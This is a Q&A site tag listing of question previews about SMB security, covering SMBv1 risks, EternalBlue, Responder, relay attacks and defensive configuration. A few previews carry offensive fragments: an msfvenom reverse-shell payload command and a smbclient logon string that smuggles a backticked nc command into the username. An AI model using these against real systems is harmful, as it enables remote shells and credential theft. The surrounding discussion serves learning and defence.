Skip to main content

Questions tagged [smb]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
2 votes
1 answer
82 views

What are the infection risks for a SMB/Samba file share from an infected client PC?

I have a PC on my home network that I consider potentially infected by exposure to an untrusted program from the internet. (Antivirus detected nothing, and the PC runs fine, but I'm choosing to err on ...
hypernova365's user avatar
0 votes
0 answers
46 views

UNC Path Injection Testing over NAT

I am penetration tester. I am struggling to check for UNC path injections in the web apps because of the environment that I am in. I am conducting a pentest of a web app in my company's local network. ...
aXXo's user avatar
  • 1
0 votes
0 answers
176 views

Impossible NTLMv2 hash format with Responder lm option

While doing an internal assessment, I stumbled upon a very weird looking NTLMv2 hash (I will not use the "Net-NTLM" terminology but I'm talking about the NTLM protocol ) while using ...
Joy's user avatar
  • 1
2 votes
1 answer
542 views

Msfvenom reverse_tcp without LHOST

I have tested SMBGhost (CVE-2020-0796). I used the following msfvenom command to generate a reverse shell payload. msfvenom - p windows/x64/meterpreter/reverse_tcp LPORT = 4444 - b '\x00' - i 1 - f ...
HelpMe's user avatar
  • 21
0 votes
0 answers
278 views

Responder still catching hashes with LLMNR and Netbios over TCP/IP disabled. Is this by design?

My responder is still catching hashes from Windows 10 box that has had Netbios over TCP/IP (DHCP scope option) and LLMNR disabled (GP). The workstation invokes the net view \\responderip and responder ...
Joe Rocks's user avatar
1 vote
0 answers
624 views

smb connection not working, "Current VUID is 0"

I am getting an error that says "Current VUID is 0" no matter what I put in as a command. The command I'm attempting (with my listener properly configured) is: smb: \> logon "/=`nc ...
Zoxbius Wamerus's user avatar
0 votes
0 answers
92 views

EternalBlue Across Networks

I am working on some research and I am trying to unpack exactly how NotPetya used the eternalblue vulnerability to spread across networks. My understanding of the SMBv1 Protocol is that it would not ...
ford prefect's user avatar
0 votes
0 answers
72 views

Possible pitfalls with filesharing using local account instead of domain account

I've recently eradicated Active Directory from my network. However, I'm having trouble verifying there is no issue with sharing files using a local account instead of a domain account. I have exactly ...
NRA's user avatar
  • 1
0 votes
2 answers
122 views

How do AV interact with malicious executables in remote shares?

I mainly use Linux and am not very familiar with Windows shares so my apologies if this question sounds noobish. Say I'm attacking a Windows machine and host an SMB share from my Linux machine with ...
ChocolateOverflow's user avatar
0 votes
1 answer
715 views

Uploading/writing server files via SSRF?

Say I've found a perfect SSRF vulnerability in a web application that lets me send web requests to any URL, any host, any port, any scheme. I can use the file:// scheme to get the contents of local ...
Bob's user avatar
  • 99
2 votes
0 answers
250 views

Can SMB/CIFS credentials be extracted from Linux?

On a penetration test, I have completely compromised a Linux machine and I am now trying to move around the network. The Linux machine has a mounted CIFS share, and I want to get the password used to ...
Bob's user avatar
  • 99
1 vote
0 answers
199 views

What prevents attackers from posing as legitimate smb server?

Let's suppose on my computer was a connection to a smb network share, set to reconnect automatically on startup. Now one of the following things happens: The computer is booted up in another network ...
md7's user avatar
  • 11
0 votes
1 answer
5k views

RubySMB::Error::CommunicationError: Read timeout expired when reading from the Socket (timeout=30)

I've been playing around with the EternalBlue exploit recently. I've downloaded a Windows 10 iso file from 2016 and used it to set up a Windows 10 Pro VM as my sandbox. I also ran the nmap script and ...
CBCH's user avatar
  • 15
2 votes
0 answers
317 views

Is SMB3-only Samba secure?

There's lots of "SMB is bad" parrotting online, and whenever I look closely, these claims are either unsubstantiated, or apply to unpached or misconfigured Windows servers or old versions of ...
Ansis Māliņš's user avatar
1 vote
1 answer
404 views

Watering Hole Website NTLM Steal Attack

I'm trying to recreate a Watering hole SMB theft attack where you send a victim a link to your website containing code like file://ip/file.gif. Causing forced authentication which passes the NTLM hash....
Alexander Arnold's user avatar
0 votes
1 answer
283 views

Synology logs SMB "Read" event false positives

We recently switched to a Synology enterprise setup at work and we're hoping to benefit from the additional logging that comes with Synology software. In response to a security incident, I found log ...
jtlindsey's user avatar
  • 225
0 votes
2 answers
4k views

How safe is it to use SMB file share on a machine running up-to-date Windows 10 LTSC through the Internet?

Running Windows 10 LTSC. Forwarded 445 port on the router to Windows SMB. Assuming that: My machine has no viruses in it (fresh Windows installation) It has been updated to the latest OS release I am ...
infinitieunique's user avatar
3 votes
1 answer
2k views

SMBv1 Server vs Client relative vulnerability risk

IT support guy here (NOT security expert): I have several clients who currently have at least one legacy appliance that runs a Samba (or something like it) server using SMBv1, which cannot be upgraded ...
firepuppy's user avatar
1 vote
1 answer
496 views

Meterpreter pivot with a bind_named_pipe

I have a pivot setup on a compromised windows 10 box and am trying to get an SYSTEM shell on a separate machine in the target network. I have successfully done this abusing an unquoted service path ...
Nitro's user avatar
  • 199
2 votes
2 answers
4k views

The security of an SMB port exposed to the internet

I have installed a Windows machine with update 1909 (build 18363.720 (March 2020) (On which I try to find vulnerabilities with nmap), which includes smb 3.1.1 with the latest fixed bugs. I created a ...
Andy McRae's user avatar
0 votes
1 answer
419 views

Are metasploit exploits port-specific (smb-samba)?

I was trying a machine on vulnhub and I found port 139 open that was samba-4.3.11. I searched for an exploit for that particular version and I found the is_known_pipename() exploit. But when I ran it, ...
Bhavik Malhotra's user avatar
1 vote
2 answers
3k views

How to trace SMB connection to what process initiated the connection?

I have a situation where I see a bunch of SMB connections initiated from a client to a server every night and it triggers an SMB brute-force alert on my Firewall. I installed Sysmon on the server to ...
zull's user avatar
  • 11
0 votes
0 answers
2k views

System Process PID 4 Attempt to connect to Public IP using port 445

I was cross checking my environment and i found that System process PID 4 establishing Outbound connection to public IP using Port 445 is that a normal behavior? OS: Windows 10 1909 System PID 4 ...
Kareem Al-Hourani's user avatar
3 votes
0 answers
182 views

smb iptables configuration not working with vpn killswitch

my main goal is to setup iptables that work as a VPN killswitch for my openvpn connection. Thanks to a post from forest, this was pretty straight forward: OpenVPN kill switch on Linux . So. everything ...
renpen's user avatar
  • 31
2 votes
1 answer
418 views

Samba and verifying server identity

Suppose that I have two Windows 10 (Professional edition) computers, one (PC) sharing a folder and second one (notebook) copying data to the shared folder automatically. I would like to prevent ...
oldium's user avatar
  • 23
0 votes
0 answers
332 views

ms08_067_netapi exploit & pivoting problem

I'm having troubles with ms08_067_netapi. I have a private network with a web server (10.10.2.10), windows 7 (10.10.2.8) and windows XP (10.10.2.9). I'm hacking from outside the private network with ...
Victor's user avatar
  • 1
0 votes
1 answer
577 views

How to close port 445 (Apple Time Capsule smbd)

My default configuration of Apple Time Capsule has port 445 (Apple Time Capsule smbd) open to the world. Online port scanners (shodan/detectify.com) show me that this. What's a bit worrying is the ...
Axel Podehl's user avatar
1 vote
1 answer
2k views

Security risks of file shares vs ssh or sftp, in "backward" direction?

I work for a municipal government, using mostly Windows servers. In recent days several similar governments in our geographic area have been attacked, some successfully, by ransomware. So our security ...
phantomflash's user avatar
0 votes
2 answers
364 views

unauthorized devices appear in windows 10 network drive SMB [closed]

Few days ago I was trying to access a shared folder via SMB on Windows File Explorer and noticed 3 strange mobile phone devices appear listed in the network drive. I never owned any of the mobile ...
Saeed AK's user avatar
0 votes
0 answers
700 views

How Responder exactly works?

I know how Responder works but I am a little bit confused regarding the attack. Responder runs on attacker's machine and waits for someone to type something wrong in Windows Explorer. For ex: instead ...
janu agrawal's user avatar
4 votes
2 answers
402 views

Will enabling SMB protocol authentication prevent Ransomware attack like WannaCry spreading in network?

We have a requirement of using SMB protocol due to a system limitation. will enabling SMB authentication among the nodes will prevent the ransomware threat spreading in network? Reference: https://...
Sayan's user avatar
  • 2,031
1 vote
1 answer
409 views

Is it possible to execute an executable with authenticated SMB?

Assume the following: An attacker has access to a remote Windows share on a remote host. Attacker manages to bruteforce a local Windows account on the host and can login to it via SMB. Attacker can ...
Saustin's user avatar
  • 321
0 votes
1 answer
3k views

Can SMBv1 be secure if used for just SMB server discovery?

I noticed that my SMB shares from a Samba server no longer appeared in Windows 10 network browsing (network neighborhood) in Windows file explorer. The reason turned out to be that this functionality ...
Andreas's user avatar
  • 121
1 vote
1 answer
3k views

Is it possible to block psexec without blocking regular SMB access?

I don't have much experience in protecting windows machines, so sorry if I'm missing something obvious; how would one protect from psexec without disabling SMB? One could disable the admin$ share, but ...
Nico's user avatar
  • 105
0 votes
1 answer
841 views

My system is being attacked or it is attacking

My system is running on Windows 10. I am using Avast Free Antivirus. Today i got an update from Windows update. After installing that update Avast started raising notification saying We've safely ...
Birendra Singh's user avatar
0 votes
1 answer
170 views

Is it safe to install MS17-010 unpatched OS as guest on patched host?

For example, these are unpatched old OS. Windows 98 Windows 98 SE Windows ME Windows NT 4.0 Windows 2000 Given that SMBv1 is not disabled on host but already patched. Is the unpatched guest OS ...
sandthorn's user avatar
  • 101
2 votes
1 answer
2k views

How dangerous is SMBv1?

I have a NAS (network disk) from Zylex which stopped working under Windows 10 a while ago. Investigation shows that it uses SMBv1, which was implicated in several ransomware attacks and was therefore ...
NL_Derek's user avatar
  • 133
3 votes
0 answers
592 views

SMB Session Hijacking

I've been recently studying SMB protocol for a better understanding of it while doing windows environment pentesting. Regarding SMBv1 and v2, in both cases the Session Setup Request is sent using ...
bulw4rk's user avatar
  • 71
0 votes
1 answer
3k views

How can I brute force an individual smb share?

I am trying to complete a CTF and am presented with a machine that has several SMB shares, as found using metasploit auxiliary/scanner/smb/smb_enumshares. - Windows XP Service Pack 3 (English) - IPC$ ...
Stringers's user avatar
0 votes
1 answer
150 views

why am i unable to gain access to remote pc through smb while having correct credentials? [closed]

I have set up my ethical hacking and penetration lab. My host OS is Windows 10 and target 0S is Windows 7. I want to penetrate into Windows 7 from Windows 10 through SMB. When I try to penetrate, it ...
Irfan Ullah's user avatar
9 votes
2 answers
2k views

What harm is there in obtaining password hashes in a Windows environment?

ArsTechnica posted this article recently talking about how the power grid has been penetrated: Hackers lie in wait after penetrating US and Europe power grid networks Excerpt: One tactic involved ...
SDsolar's user avatar
  • 977
3 votes
1 answer
507 views

SMBRelay Attack - Mount Share instead of Code Execution

Is it possible to execute an SMBRelay attack that mounts a share instead of execute code? The application I am testing uses a non-administrative user but has access to several SMB shares. Only NTLMv2 ...
m3ta's user avatar
  • 274
3 votes
0 answers
54 views

Possible EternalBlue Infection, Next Step? [duplicate]

Sorry if I messed up in any manner, e.g. title, details, tags, layout, venue, response plan, etc. I know a little of the stacks and security in general. Short Version: I found material on my other ...
KtX2SkD's user avatar
  • 131
1 vote
2 answers
495 views

Firewall detects CVE 2017-0016

My firewall is dropping traffic from 3 terminals connected through SSL Client-2-Site VPN, because it detects " Microsoft Windows SMB CVE 2017-0016 Tree Connect Response denial of service vulnerability ...
Ezeq's user avatar
  • 11
1 vote
0 answers
747 views

SMB/CIFS security in heterogeneous environment

Suppose I have several machines both Linux and Windows I want to connect to each other for file-sharing. Now I use mount -cifs command with vers=3.0 clause to access Windows shares from my Linux ...
Suncatcher's user avatar
4 votes
1 answer
7k views

What to do if you still have SMBv1 running on your network?

I was looking into the network traffic at our company while preforming a security audit and I found that we still have a server running SMBv1 on the network. The server is a Windows 2003 Domain ...
Jack's user avatar
  • 433
0 votes
1 answer
2k views

Internal Pen testing - Can't get SMB Relay attack to work?

Using Responder to capture NTLMv2 hashes on LAN using kali and relay them to the smbrelayx.py module from Impacket. I understand I have to change the config file in Responder to set the SMB and HTTP ...
Dylan Williams's user avatar
2 votes
1 answer
2k views

Effective blocking of SMB connections on AsusWRT

I recently was attacked by some cryptolocker (not sure if it's WannaCry) and now I am revising my network policies. For reaching this aim I want to disable all SMB-activity for infected PC. ...
Suncatcher's user avatar
3 votes
2 answers
5k views

EternalBlue exploit doesn't work against windows 8

i have tried this poc: https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e against a windows 8 target that i own, the code exits with an error that says: impacket.nmb.NetBIOSTimeout: ...
4 R4C81D's user avatar
-9 votes
2 answers
525 views

WannaCrypt-style SMB exploits known since Stuxnet, circa 2008, but Microsoft hid fixes from us. So what is new now? [closed]

WannaCrypt-like SMB spreading technique was widely used in Stuxnet, as docummented by Symantec and Kaspersky. Read this: W32.Stuxnet Dossier (2010,Symantec PDF) Now we have the name of the exploit: ...
SDsolar's user avatar
  • 977